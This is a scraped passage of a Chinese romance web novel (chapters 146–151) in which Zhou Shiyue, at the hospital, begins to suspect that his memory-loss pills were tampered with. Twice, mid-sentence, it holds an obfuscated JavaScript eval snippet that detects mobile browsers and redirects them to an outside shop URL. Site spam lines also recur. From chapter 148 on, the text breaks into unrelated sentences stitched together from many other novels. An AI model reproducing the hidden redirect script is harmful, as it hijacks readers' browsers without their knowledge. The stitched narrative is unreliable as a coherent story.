“真的。”他顿了顿,补充道,“不喜欢?” “不是不喜欢……”岑予衿小声说,手指无意识地玩着他衬衫的纽扣,“就是觉得你有点奇怪。刚才外面那么乱,你是不是也受影响了?” 陆京洲心中一动。 她总是这么敏锐,即使不知道发生了什么,也能察觉到他的情绪变化。 “有一点。”他选择说实话,但只说了一部分,“看到别人遇到突发状况,会想,如果有一天你遇到危险,我一定要在你身边。” 岑予衿愣住了,随即眼眶微热。 她重新埋进他怀里,声音闷闷的,“你突然说这个干什么……怪让人感动的。” 陆京洲轻笑,揉了揉她的头发,“感动不好吗?” “好是好,就是……”她抬起头,认真地看着他,“陆京洲,你是不是有什么事没告诉我?” 第146章 调查 四目相对,陆京洲在那双清澈的眼睛里看到了全然的信任。 最终,他只是摇了摇头。 “没有。”他将她抱起来,让她坐在自己腿上,面对面看着彼此,“人生无常,要珍惜眼前人。” 岑予衿歪着头看他,似乎在判断他话里的真实性。 良久,她笑了,伸手捧住他的脸,“那你可要好好珍惜我。” “一定。”陆京洲郑重地说,像在许下一个誓言。 岑予衿满意地点点头,又想起什么似的,朝门外努了努嘴,“话说回来,刚才那是周时越和林舒薇吧?林舒薇好像情况很严重,流了好多血……” “嗯。”陆京洲的反应很平淡。 “他们怎么会在这里?”岑予衿好奇地问,“而且林舒薇那个样子,是不是……” “别人的事,我们不必过多关心。”陆京洲轻描淡写地带过,“戏看完了,我们回家,嗯?” 岑予衿看着他,忽然问,“你刚才是不是看到周时越了?” 陆京洲身体几不可察地一僵。 岑予衿却笑了,那笑容里有几分了然,“所以你才突然亲我?是在宣示**?” 她太了解他了。陆京洲无奈地叹了口气,承认道,“是。” “傻瓜。”岑予衿凑上去,主动在他唇上亲了一下,“我早就是你的了,还需要宣示什么**?” 这句话像一汪温泉,瞬间抚平了陆京洲心中所有的不安和躁动。 他收紧手臂,将她牢牢锁在怀里,额头抵着她的额头。 “再说一遍。”他低声要求。 “什么?”岑予衿装傻。 “刚才那句话,再说一遍。” 岑予衿笑起来,眼睛弯成月牙,“我早就是你的了,陆先生。满意了吗?” “勉强满意。”陆京洲嘴角上扬,终于露出一个真正放松的笑容。 陆京洲用大衣将她裹得严严实实的,揽着她的腰往外走。 …… 医院里消毒水的气味浓烈刺鼻,灯光惨白,将漫长的走廊照得如同没有尽头的隧道。 周时越靠坐在抢救室外的长椅上,身上的衬衫还沾染着林舒薇的血迹,已经干涸成暗褐色的斑驳,像无法抹去的印记。 他双手交握抵在额前,试图阻挡外界的一切,但急救灯刺眼的红光还是透过指缝渗进来,如同某种不详的征兆。 耳边是仪器规律的、冰冷的滴答声,还有医护人员偶尔进出时急促的脚步声,这些声音将时间切 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 割成无限细小的碎片,每一秒都被拉得无比漫长。 医生说,林舒薇的情况很危险,大出血,有流产先兆,而且她本身身体状况就不算太好,加上腿伤带来的长期影响……抢救已经持续了将近一天一夜。 疲惫和焦虑像潮水般淹没了他。 他应该全神贯注地为林舒薇祈祷,应该为她腹中那个可能正在流失的小生命揪心——那是他们的孩子。 可不知为何,从踏进医院开始,那股在餐厅走廊上被强行压抑下去的混乱心绪,非但没有平息,反而在寂静和等待中变本加厉地翻涌上来。 岑予衿。 这个名字,这张脸,她和陆京洲相拥的画面,那个挑衅又缠绵的吻……如同魔咒般在他脑海里反复闪现,清晰得可怕。 他试图驱散,它们却像藤蔓一样缠绕得越来越紧。 尤其是,他已经超过二十四小时没有服药了。 此刻,一些被他刻意遗忘或模糊的画面,开始不受控制地从记忆深处浮现出来,带着一种令人心悸的鲜活。 不是离婚时的冷漠,不是回国后的疏离,也不是他记忆中那个逐渐变得模糊,无关紧要的前妻形象。 而是更早,更久远以前。 他看见了年幼的岑予衿,扎着两个羊角辫,穿着碎花小裙子,跟在他身后跌跌撞撞地跑,奶声奶气地喊,“时越哥哥,等等我呀!” 他看见少年时的自己,不耐烦地回头,却还是放慢了脚步,伸手牵住她肉乎乎的小手,嘴里嘟囔着,“麻烦精。” 他看见她为了跟上他爬树,摔破了膝盖,眼泪汪汪却倔强地不肯哭出声,而他一边骂她笨,一边笨拙地给她贴上创可贴。 他看见中学时代,她被别的男生欺负,他二话不说冲上去跟人打了一架,嘴角破了,她却哭了,小心翼翼用棉签帮他消毒,眼泪一滴一滴砸在他手背上,烫得他心头发慌。 他看见高考后的夏天,她考去了邻市,送她上飞机时,她红着眼圈却努力笑着朝他挥手。 飞机起飞时,他站在原地许久,心里空落落的。 他看见大学时她每次放假回来,总是第一时间跑来找他,眼睛里闪着光,叽叽喳喳说着学校里的趣事。 周时越痛苦地捂住脸,指缝间有湿意。 不是为林舒薇此刻在生死线上挣扎而流的泪,而是为那些被他亲手抛弃,如今却疯狂反噬的记忆。 **这些记忆是不是真的,可是那些发生的事情实在是太真实了,真实到他……不得不相信这是 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 真的。 突然记起这些……是因为没有吃那些奇怪药片的原因吗? “周先生?周先生!”护士的声音将他从混乱的思绪中惊醒。 他猛地抬起头眼睛布满血丝。 “周太太的抢救暂时结束了大人和孩子目前都保住了。”护士的声音带着疲惫后的欣慰“但是情况非常不稳定出血虽然止住但子宫和胎儿都很脆弱。医生交代接下来必须绝对卧床保胎不能再受任何刺激一点点情绪波动都可能造成不可挽回的后果。你们家属一定要特别注意。” 保住了……周时越深吸一口气试图将那份理应占据主导的庆幸和责任感拉回中心。 他站起身声音沙哑“谢谢。我……我能进去看看她吗?” “暂时还不能要送进ICU观察至少24小时。您先休息一下吧您脸色很差。”护士看了他一眼目光落在他衣襟的血迹上带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16866371|191758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同情。 周时越点点头重新跌坐回椅子上。身体是疲惫的可大脑却异常活跃或者说异常混乱。 药物的戒断反应混合着情感的巨大冲击让他头痛欲裂太阳穴突突地跳。 “她是我的……她应该是我的……”这个声音又来了比在餐厅时更加清晰更加疯狂混合着童年记忆里那个跟在他身后的小女孩的身影。 最终却定格在陆京洲拥着她、低头吻她的画面上。 今天想起的那些画面中他清晰地记得自己曾经有多宠她记得她每一次哭鼻子的模样记得自己曾在心里默默发誓要保护她一辈子。 可这些记忆却在他失忆后被彻底抹去取而代之的是对林舒薇的愧疚和责任。 “药……”周时越喃喃自语手不自觉地摸向口袋那里原本放着林舒薇每天提醒他吃的能恢复记忆的药片。 停药后的这几十个小时被遗忘的过往开始疯狂复苏。 一个可怕的念头在他心底滋生他的失忆真的是坠海事故的意外吗?那些药片又真的是能让他恢复记忆吗? 周时越猛地站起身眼底布满血丝原本的疲惫和焦虑被一股强烈的执念取代。 他掏出手机 “喂周总。”电话那头传来林木舟沉稳的声音“医院那边情况怎么样了?” “林舒薇暂时没事在ICU观察。”周时越的声音沙哑得厉害带着不容置疑的命令“现在给我办两件事立刻马上。” “您 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 吩咐。” “第一,查三年前我坠海的事故。”周时越的目光变得锐利,“不要只看表面的调查结果,查所有细节,当时的天气、航线、船上的人员、救援的时间,还有……岑予衿事故发生后都做了些什么?” 电话那头的林舟愣了一下,岑予衿? 周总失忆后,几乎从不主动提起这个名字,甚至在旁人提及的时候,也总是刻意回避。 今天怎么突然……但他不敢多问,立刻应声,“明白,我马上调阅当年的所有档案,联系相关人员核实。” “第二,查岑予衿这三年的所有情况。”周时越的声音顿了顿,带着一丝不易察觉的颤抖,“她这些年有没有受过委屈,是不是……和陆京洲早就认识。” 还有第三件事。你立刻去我家把我常吃的那药片,送去最权威的化验机构,查清楚里面的所有成分,包括有没有副作用、会不会影响记忆,尽快给我结果。” 林舟这下彻底震惊了,“周总,这药不是林小姐说的……” “别管她说什么,按我说的做!”周时越的语气带着一丝狠厉,“记住,这件事要绝对保密,不能让任何人知道,尤其是林舒薇。” “明白!我现在就去办!”林舟不敢怠慢,立刻挂断电话安排。 周时越握着手机,指节因为用力而泛白,棱角硌得手心生疼,却远不及他心里的煎熬。 如果这些药片真的有问题,如果他的失忆是人为造成的,那林舒薇在这其中,又扮演了什么角色? 第147章 可不可以不要去见别的女人? 挂断电话后,周时越像被钉在了ICU门外那张冰冷的金属长椅上。 颓然的维持着同一个姿势,仿佛一尊失去灵魂的雕塑,只有偶尔紧缩的眉心泄露着内心的惊涛骇浪。 走廊里惨白的灯光打在他身上,将他衬衫上早已干涸发硬的暗褐色血渍照得格外刺眼。 “周先生,您真的不回去休息一下吗?”一名护士第三次走过来,声音里带着关切,“至少换身衣服,吃个饭。您这样下去身体会受不了的。” 周时越缓缓抬起头,眼睛里布满红血丝,声音嘶哑,“她还没醒,我怎么能走?” 护士叹了口气,将一瓶水和一包饼干轻轻放在他旁边的椅子上,“那您至少喝点水。周太太现在情况稳定,有情况我们会第一时间通知您。” 他只是点点头,目光重新投向那扇紧闭的ICU大门。 时间在消毒水的气味中缓慢爬行。窗外的天色由浓黑转为深灰,再透出些许惨白。 周时越下巴上的青色胡茬已经清晰可见,昂贵的衬衫皱巴巴地贴在身上,沾着血污和尘埃。 这种狼狈在他身上是前所未见的,那个永远西装笔挺、一丝不苟的周氏总裁,此刻看起来像个无家可归的流浪汉。 他一晚上都没有合眼。 药物的潜在戒断反应让他的太阳穴突突直跳,记忆的碎片像失控的幻灯片一样在脑海中轮番闪现。 一会儿是童年时扎着羊角辫的岑予衿,一会儿是林舒薇苍白的脸,一会儿又是陆京洲拥着岑予衿亲吻的画面。 这些画面交织在一起,构成一张混乱而痛苦的网。 更让他心惊的是心底那个越来越清晰的怀疑,如果他的失忆不是意外呢? 如果那些所谓的能够帮助恢复记忆的药片,实际上起着相反的作用呢? 这个念头像毒蛇一样缠绕着他的心脏,让他几乎窒息。 可他像自虐般强迫自己留在这里,守在这扇象征着生死未卜的门前。 仿佛只有用这种身体上的疲惫和狼狈,才能稍稍抵消内心翻江倒海的混乱与某种正在悄然滋生的、连他自己都不愿深究的愧悔。 早上六点,换班的医护人员陆续到来。 来往的人经过时,都忍不住向他投去同情又带着几分赞许的目光。 “看到那位先生没有?在ICU门口守了一整夜了。” 一名年轻的小护士压低声音对同伴说,眼睛偷偷瞄向周时越,“听说里面是他太太,大出血差点没抢救过来。他身上的衬衫 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 还沾着血呢就这么坐着一动不动的。” “真难得啊!”另一个护士小声回应“长得这么帅还这么深情。昨晚我值班的时候给他递了两次水他都没怎么喝。问他太太的情况他眼睛都红了 “是啊我听说他还是周氏集团的总裁呢。这么忙的人能放下一切在这里守着他太太要是知道了得感动成什么样啊。” 这些低声的议论断断续续飘进周时越的耳朵却像隔着一层厚厚的玻璃模糊而不真切。 她们看到的是一个为妻子忧心如焚、不离不弃的完美丈夫形象。 可只有他自己知道在这副看似深情的躯壳下灵魂正被怎样的记忆、怀疑和莫名的情绪撕扯煎熬。 那些赞美像一根根细针轻轻刺痛他混乱的神经。 他是该在这里守着这是他的责任。 可内心深处有一小部分却在抗拒这个角色这个被所有人期待、被所有人赞许的深情丈夫的角色。 他要是真的像他们所说的这么长情就不会放任自己的前妻不管。 甚至就像被下了降头着了魔发了疯的把她送到10多个混混床上给她销户办最盛大的葬礼。 替她改名换姓成了自己的妹妹把他送到一个60岁的变态老头身边。 他……完全疯魔了。 上午八点阳光终于穿过走廊尽头的窗户投下斜斜的光柱空气中飞舞着细微的尘埃。 主治医生从ICU里走出来周时越立刻站起身动作因为久坐而僵硬。 “周先生好消息。”医生摘下口罩脸上带着疲惫的笑容“您太太的情况已经稳定下来了可以转到特护病房了。大人和孩子都保住了真是万幸。” 周时越感觉紧绷了一夜的神经突然松弛下来踉跄了一下扶住墙壁才站稳“谢谢医生太感谢了。” “不过接下来是关键期。”医生严肃地说“必须绝对卧床静养不能再受任何刺激。子宫和胎儿都很脆弱一点情绪波动都可能导致再次出血。你们家属一定要特别注意。” “我明白我会注意的。”周时越郑重地点头。 十分钟后林舒薇被推出了ICU。她的脸色苍白如纸双眼紧闭手上还插着输液管。 周时越跟在推床旁目光复杂地看着她。 特护病房在走廊的另一端宽敞明亮窗外可以看到医院的小花园。 护士们熟练 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 地将林舒薇转移到病床上,连接好各种监测仪器。 “周先生,您可以在这里陪着她,但她可能还要一两个小时才会完全清醒。” 护士轻声说,“您要不要趁这个时间回去换身衣服?您看起来……” “不用了。”周时越打断她,在病床旁的椅子上坐下,“我就在这里等她醒。” 护士欲言又止,最后只是点点头,悄悄退出了病房。 病房里安静下来,只有监测仪器规律的滴答声。 周时越看着林舒薇苍白的睡颜,心中涌起复杂的情绪。 他应该感到庆幸,妻子和孩子都保住了,这是不幸中的万幸。 可那种记忆碎片里曾有过的、为所爱之人牵动心肠的鲜活悸动,却迟迟没有出现。 取而代之的是一种沉重的责任感,一种必须履行的道义承诺。 他伸出手,轻轻握住林舒薇没有输液的那只手。 她的手冰凉而柔软,指尖因为长期输液有着细小的**。 他的拇指无意识地摩挲着那些**周围,思绪却飘远了。 如果昨夜他没有停药,如果那些药片真的在帮助他恢复记忆,此刻他心中涌起的,会不会就是全然无杂质的、充满爱怜的狂喜? 这个念头让他握紧了她的手,几不可察地收紧了一瞬。 “阿越……”一声微弱的呼唤将他拉回现实。 周时越猛地抬头,对上林舒薇缓缓睁开的眼睛。 她的眼神先是迷茫,随后慢慢聚焦,当看清他的脸时,泪水瞬间涌了出来。 “你醒了?”周时越立刻倾身向前,声音是自己都没察觉到的嘶哑,“感觉怎么样?有没有哪里不舒服?我这就叫医生!” 他伸手要去按呼叫铃,林舒薇却轻轻摇头,泪水顺着苍白的脸颊滑落,“别……先别叫。让我看看你。” 周时越停住动作,重新坐回椅子上。 林舒薇的目光在他脸上仔细流连,从布满血丝的眼睛,到浓重的黑眼圈,再到下巴上凌乱的胡茬。 最后,她的视线落在他皱巴巴、沾着血污的衬衫上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16866372|191758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “你……”她的声音哽咽了,“你一直在这里?没回去换衣服?” 周时越扯了扯嘴角,想露出一个安抚的笑容,却只牵动了干裂的嘴唇,“我没事。你醒了就好。” “怎么可能没事?”林舒薇的眼泪流得更凶了,她想抬手碰碰他的脸,却因为虚弱而抬不起来,“你看起来……糟透了。是为了我吗?是因为担心我和孩 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 子,所以一直守在这里?” 周时越沉默了几秒,才轻声说,“你是我妻子,我不守着你守谁?” 这句话让林舒薇的眼泪彻底决堤。巨大的感动和满足感淹没了她,所有的算计、不安,甚至身体残留的疼痛,在这一刻似乎都变得微不足道。 看啊,就算外面那些**不知廉耻地勾引,就算可能一时被迷惑,可最终,他心里最重要的,还是她和孩子! “对不起……”她泣不成声,“都是我不好,没有保护好我们的宝宝……还让你这么担心,这么累……” “别这么说。”周时越替她掖了掖被角,动作轻柔,“是我没照顾好你。医生说了,你现在要绝对静养,不能再受任何刺激。所以别哭了,对眼睛不好,情绪波动也对身体不好。” 他的语气平静温和,每一个字都透着关切。 可只有他自己知道,当他说出“我们的宝宝”这几个字时,心头掠过的是什么。 是责任,是道义,是必须履行的承诺。 却唯独少了点什么。 “孩子……”林舒薇突然想起什么,紧张地问,“孩子怎么样了?” “保住了。”周时越握紧她的手,“都保住了。但医生说很脆弱,接下来几个月你必须卧床静养,一点都不能大意。” 林舒薇松了口气,泪水却流得更凶了,“太好了……阿越,你知道吗?当我摔倒的时候,当我感觉到血……我好怕,好怕失去我们的孩子,好怕再也见不到你……” “别怕,都过去了。”周时越轻声安慰,手指轻轻擦去她脸上的泪水,“现在最重要的是你好好养身体,其他什么都不要想。” 林舒薇点点头,贪婪地看着他憔悴的脸。 在她眼中,这份憔悴非但没有折损他的英俊,反而增添了一种为爱煎熬、饱经风霜的致命吸引力。 她想起刚才隐约听到护士们在门外的低语,说周先生守了一整夜,水米未进,真是深情。 是啊,他是深情的,这份深情是属于她的。 岑予衿已经是过去式了。 他们这三年的感情,不是说谁能撼动就可以立马撼动的。 “阿越,”她轻声唤他,声音里带着浓浓的依赖,“你会一直陪着我吗?在我住院的这些天?” 周时越看着她的眼睛,那双眼睛里盛满了期待和信任。 他点点头,“当然。公司的事我会安排好的,你不用担心。” “那……你能不能答应我一件事?”林舒薇小心翼翼地问。 “你说。” “在我住院期间,你能不能……不要见别的女人?” 她的声音越来越小,带着试探和不安,“我知道我不该这么小心眼,是我的问题。可是我一想到她们,一想到你在餐厅里维护她们的模样……我就控制不住地难受。” 周时越的脊背几不可察地僵了一下。 他想起林木舟正在调查的事,想起那些被送去化验的药片,想起记忆中那个扎着羊角辫的小女孩。 良久,他才缓缓开口,“好,我答应你。” 第一卷 第148章 婚礼还要继续吗? 斗场内,慕云止已经带着人走到了最后一山了,和他们一同已经上来的人,可不仅仅是他们,还有别的人,像古子昂,古白秋,汤安以及山鹤轩都来了这里。 谁知道,一个横空出世的兰珂,不仅强势扭转了云兰军校的颓势,竟然将皇家军事学院都狠狠踩了下去,让往年一直吊车尾的云兰军校高居榜首。 傅院使则惦记着天花实验的事,以他看来,现在皇庄里有人得天花,正是申请用死囚做试验的好机会,只要简郡王能对皇上提一提。 高四层的浮空式花园,每层仅有八根巨大的石柱支撑,最高层还有一座相当华丽的城堡,虽然面积不算大,在艺术的角度上来看,真的可以媲美昂特的某位大帝的陵墓了。 林破天看似只和叶轩为敌,但是细细想来,却是还要和“接收”萧纵横一切的苏玉瑾作斗争。 他擦的很认真,都没有发现到她已经醒来,目光清冷的盯着那五根玉洁纤细的手指,一根根擦过去,像是拂拭过某样心中至宝。 两支队伍由一开始向乔大的一边倒,演变成了犬牙交错式的相互攀升,两队的球迷也声嘶力竭地为自己的球队助威。 “老头子,根据一郎影分身的回答,一郎的情况并不危险!”纲手说道。 她自己虽然没有折磨人的爱好,但是既然有人帮她折磨她的仇人,她何必跑去打断呢? “需要些什么?”见自己的弟弟开口了,凤怜希也没有拒绝,毕竟是自己的弟弟,如果他需要帮助,她这个当姐姐的还是能帮就帮。 她竹筒倒豆腐把事情的前因后果说出来,反正弟弟也死定了,就往他身上推。 柳自成看到来人,瞳孔微缩,居然是三王爷府的总管太监,在外可以代表三王爷。 将她放置在床上,目光如炬,右手看是解开她的扣子,凤怜希羞赧的低下了头,羞红的脸蛋看的凌天奇呼吸急促,身体跟着覆了上去。 游泳和格斗能力有什么关系,江浔是不明白的,不过不管明白不明白,反正解锁条件摆在这里,照做就行了。 “时念,你和霍总是不是发生了什么事,你今天有点反常。”涂雅丽又带着关切地问道。 进到里面后不用叶墨深主动说,来人很随意的走到沙发上坐下,眼眸泛着戏虐的光芒。 “我一会就去把老二带回来,你们就放心吧。”她信心十足的说完匆忙走了。 人家老娘都向着儿子,自家老娘倒好,只要他和大哥对老婆大声一点,老娘就生气,发脾气。 “有你这么谨慎的守着厨房,主子又有什么不放心的呢?”春燕笑着把香囊放在了林苏的梳妆台上,然后才送秋晏一起出了大殿,等回头重新到了内殿之后,却发现林苏已经醒了过来。 明天要去参加石先生家的宴会,虽然他没说是自己的生日,但是石乐提到过,所以特地拉上了周毅陪我去选礼物,没想到这里礼物还有很多的含义。 按了许久没有人应门,外面的人却并不甘心,一边拍门一边喊着我的名字,我听出那生音是吕天皓,我就像没听到一样,在床上躺了来。 “田乐乐你凭什么这样说海涛哥,海涛哥才不是这样的人,她知道我有危险,不管什么情况下都会过来的。”林晓月俏脸一沉,一阵不高兴道。 来汇报的弟子退下之后,就只剩下了岳峰和静海派的另外两名长老。 如果说刚才的端木昊还能保持着平静面对韩靖萱,那么现在的端木昊的眼神则恨不得将韩靖萱的杀死,或者会更加残忍。 洛舜辰对于这个结果,很是满意,收回自己的斩天剑,朝莲叶拱了拱手,表示礼让。 原来自己在东月国的时候,蓝寒烟就特地来了一趟,给自己留下了这封信,信上说,等自己回来,务必要去北雪国一趟。 那样心胸狭隘的樱紫璐,怎么还会配得上古夙溯,怎么还会配爱古夙溯? 因此那朵李赵缘之上的大桃花劫印,就更加的清晰可见。看起来不再是仅仅像一朵粉红色的胎记。 听艾尔莎如此一说,曹克只能闭口不言,反正妖族这个话题,似乎离他还很遥远,曹克问问只是出于好奇,不让问也就不问好了。 林风收回弯刀,那一刀直接击中孙二狗后背,虽然是在半空中击中,凭借当时刀上的感觉,那一下必死无疑。 经过了几次危险的经历之后,李赵缘决定进入须弥介子洞天戒指里面。 格瓦特自己不再多说些什么?脚底下方的白光就是那么一闪。自己身上就此焕发出了自己身上的冰霜斗气,瞬间就朝着雷利的身上冲了过去。 方仲坤以及血剑堂几大内门长老亦相视一眼,他们从对方眼中俱都看出深深恐惧。 “那么,辰天,你现在是不是可以跟我说一下,你们的计划到底是如何呢?我可不敢相信,你们在得到这些消息之后,你们会甘心的坐在这里,不多说些什么?”辰地好奇的朝着辰天两人笑了起来。 说完了这些,荆云天遂不再拖沓,转回身去,向着原来的方向飞跃而去。 第一卷 第149章 阿洲,帮我带头纱 往后的几天都是如此。 林舒薇盯他吃药盯的特别紧,基本上只要到吃药的点,她都会盯着他吃完,确定咽下去了之后,还要缠着他在房间里待很久,才让他离开。 一开始的几点周时越还会有想要催吐的思想和意识。 木下舞一边用僵硬的语调对扶住了差点“倒下”的她说着谢谢,一边看着一脸冷漠、已经坐回到自己位置上的佐那子。 “切,没办法了。”阿尔戈苦恼的歪了歪头,对方身上发生的事自然瞒不过她这个情报贩子,但在【艾恩葛朗特】,除了那个家伙,没有人敢保证自己一定能在不断的战斗中,一直的活下去吧。 战斗的一方是有着‘闪光’之名的亚丝娜,而敌人是名为【恶魔奴仆】的骷髅剑士。 “我说,现在已经七点了。”苏月见季特助没有反应,忍不住又提醒了一遍。 但是已经迟了,黑猫扑了过来,一爪抓在商涛的右臂,瓜子穿过衣服,将商涛肩膀上的肉扒拉掉一大块。 “放心,去过了,都好,食物与净水我都安排人补过了。而且,街面上的乞丐下雨没有地方待的,我都让他们去那里了,好在你置办的地方大。”华青空答道。 话语声中,皇宫内的一座建筑骤然崩碎,耀目的光柱直插天际,没入旋涡的中心。 她还赢在了“身份认同”上。坎蒂很聪明的为买这瓶香水的人,贴上了一个标签。 “鸿茂餐饮行政部的主管秦怀民。”鸭舌帽男人很麻溜地就把秦怀民的名字给供了出来。 阿豪这才放下心来,抱起这台榨汁机,把它挪到了床边的角落塞好。 流!以此推断,风河的最外围,是无尽的空间乱流保护着,或者说是空间深渊黑洞的守护。 当日慕容安迎娶瑶思卿,朝堂官员齐去祝贺,毒下在酒水里,所有人中了毒而不自知。 切,没有半分变化,仅仅是对风府的记忆,就像是理所当然一般。 到那个时候,江城就是我张子凡的,走在江城的大街上,再没有一个混子敢对我不敬。 所有的灵米,蔬菜以及灵鱼都是可以在空间内存放的,而且保证不会变质,所以林飞就更加不担心了。 接着大家就集思广益,最终还是决定发寻狗启示,悬赏金额是五万。 薛洋微笑赞叹,就连冷山脸上终年不化的冰雪仿佛也消散了一些。 他身旁的师弟自是以师兄的马首是瞻,一时竟师兄放出剑光,自己的青灰剑光也是跟着而上。 然后,他们刚好的看到一个绿毛端着一个罐子出来,低着头,满脸的愁容。 但是山洞里面的这些人一直都对三大邪族充满了愤怒,而且被关押的这些天说来很长却也很短,所以他们并不会有任何奴性出现,他们很愤怒。 “……恐怕陛下会寻了二爷。放眼这个时候,派出哪个都不合适。唯有二爷。”世人皆知,自家爷的凶名,何况马上便是年关将至了,谁家公子也不愿在此时离京。可旁人家有爹有娘的。可自家公子。 他清楚此刻的自己已经将紫府剑神融合,他能清楚的看见那四个闪烁着浓郁华光的‘紫府剑神’。 不管对方是谁?都险些让她走了歧路,如果她真的傻傻的按了对方挖好的陷阱去行事。 第一卷 第150章 我是你祖宗 不对!太不对劲了。 陆京洲才不会一直不回应的性格。 心里想的这男人是不是在外面遇到什么刺激了还是说被自己穿婚纱的背影迷晕了。 要不然以他的性格,现在早就已经冲进了,抱着他啃了好几口才对。 怎么可能说话没有半点回应呢? “我今日离开府里之前,曾交代樱桃传下话去,我与刺史俱不在府里,不得让外人扰了两位殿下清静,不得轻易放了人进府里来。你可曾听到我的吩咐?”苏云还是没有半丝恼意,带着笑柔和问道。 伊莎贝瑞依然无语,但迷乱的眼神,忽然变得冷漠,骇然一闪。她挣脱琅邪的束缚,就象是不认识琅邪一样,头也不回,走出浴室。 “哼,不要假惺惺的了,这样你不是更有时间去泡妞了?否则好不容易爬到了这个位置,却还要跟着赚钱机器人后面当个零部件。”龙一欢不屑地道。 而且,秦明这个丹成的征兆一看就气势浩然,至少是十朵丹云以上才能拥有这种威势。 他怎么能确信,就算是苗莹莹真的将龙香兰给救活了,没有人将她给杀害?这与不救又有何区别? 闭上眼睛,燕清舞感受着琅邪带给她那片刻的体温,原来,这种温度,就是爱情地温度。 她二人说着话,一旁的蕙娘却是轻轻开口道:“芳娘刚好些,不如我陪着大嫂过去吧。”她素来温柔沉默,甚少这般主动,倒叫曹氏有些惊讶。 秦大夫人早已脸色发白,闭眼默默祝祷,只盼着能顺利生下孩子,母子均安,在这个兵荒马乱的时候实在是经不起任何折腾了。 不过秦明翻来覆去地看了许久,都没有发现这个种子能怎么用,而且这里也不是久留之地,秦明只得将它丢在星界之匙当中,让星灵慢慢推算了。 秦北风看她这么激动一时手足无措,招呼几个街坊邻居把两位老人搀扶到自己的车子上。 回到凌家,连绒跟凌墨和宁远澜告别,最后再抱了抱宝鹿和凌回暖,这才开车离开。 而这个笑容却恰恰被叶晓媚看见,一时她的心里有一种说不出的气愤。 “孩子,难道你不想当爸爸了吗?”金凤知道自己的儿子心里有多苦,可是她也不想失去自己的孙子。 阮馨如答应了修炼期间一切听他的话,虽然脾性乖张,却也说话算话,从不掺假。 他一连拨了几个电话出去,晓雾站在玻璃窗前,在心里轻轻叹了口气。 西陵璟欣长的身影停驻在摊前,像是与摊主在交谈什么。应该是在付钱吧?雪萌心里这样想着,也对……他是金主。 我第一次陪世子来博馥院时,正好赶上夫子检查功课。当问到世子问题时,我家伟大的主子充分发挥着他的冰山本色,竟然沉默不语。在夫子好脾气的引导提问数次无果后,夫子终于被彻底激怒了。 猛烈间挣扎醒来,房间一片漆黑,她匆匆打开床头灯,突然就见他如鬼魅般坐在沙发上,双眼微眯诡魅地看着她,芊芊下意识地紧抱着被子,稍稍往床头缩了下。 齐然君在一间夜色糜烂的酒店里找到那个烂醉如泥的严正曦,他手里拿着酒瓶,满脸的胡渣子,衣衫零乱,样子落泊。 雅妃道:“还有一事,袁衣大哥,您应该知道,今天魔刀门的人调戏我,我这男人别的本事没有,这心眼却是一点不大,这魔刀门的梁子算是结下了,说不得这除了驯兽门,魔刀门我们也不能放过了。”。 第一卷 第151章 衿衿 张景澄恍然,心里面更加的好奇,不知道他的金手指有没有什么提升。 这就是对方不识相的结果,他很清楚自己在这支行存了3000万,想要为难一个没有任何职位的职工还不是很简单。 不过都罢了。谢延卿再度整理了一下身上衣袍,抽回了对罗安乐过往的回忆。因为无论怎么说,那些都也已经是过去事。且过了今日,罗安乐就将是自己正式的妻子。 黑袍男子之所以知道这些信息,是因为他发动了自己的火种能力空心。 只不过这种功能,可能要比空间戒指展现出来的要更加疲弱一些罢了。 她就忍不住撒娇的哼哼,要夜月低下头来,一边还亲着他的喉结和锁骨。 而因为何相君的这一举动,即便解除婚约的事没有摆到台面上来说,但不少人也察觉到,何顾两家的联姻大概率是要黄了。 她扭着身子踹了他一脚,然后又滚到他碰不着的地方,继续嚼果子。 第二天一早,齐意一睁开眼睛就看到黑瞎子拎着一条湿漉漉的内裤正蹲在她的床边。 最主要的是赵春红升任了常务副县长,大权在握,形成了家族式的政府班子,彻底把全县政治生态搞乱了。 放好了,她躺在床上?开始睡觉,捏着被子?望着天花板,因为哭过一场,心脏本能地还有些难过的感觉。 “和人胆敢再此撒野,也不看看这什么地方!”为首的一名中年男子喝道。 李涂鼎上前两步,随后捏起一抹土,放进嘴里舔了一下,随后又一脸嫌弃地吐了出去,肯定得指着那盆土。 慕云轻低低地啧了一声,刚想说先进去,不想在这被当成猴子看。 与此同时,聚灵阵里的灵气也由于先前福伯捏碎的灵石够多,几乎将要凝成液态。 刚才也是,沈辉和洛青衣打闹的时候,洛青衣被沈辉占了便宜,她并没有大声呵斥,也没有因此而停止打闹。 “娘亲,您就让我去嘛,有哥哥在,我不会有事的,我只在外围玩行吗?我保证!”蓝灵雲抱着她的胳膊撒娇,她叫蓝澜娘亲时多都是撒娇的时候。 果不其然,说完这句话之后,林卿如就看见傅承轩原本还兴致勃勃的神色,顿时像是被霜打了一样。 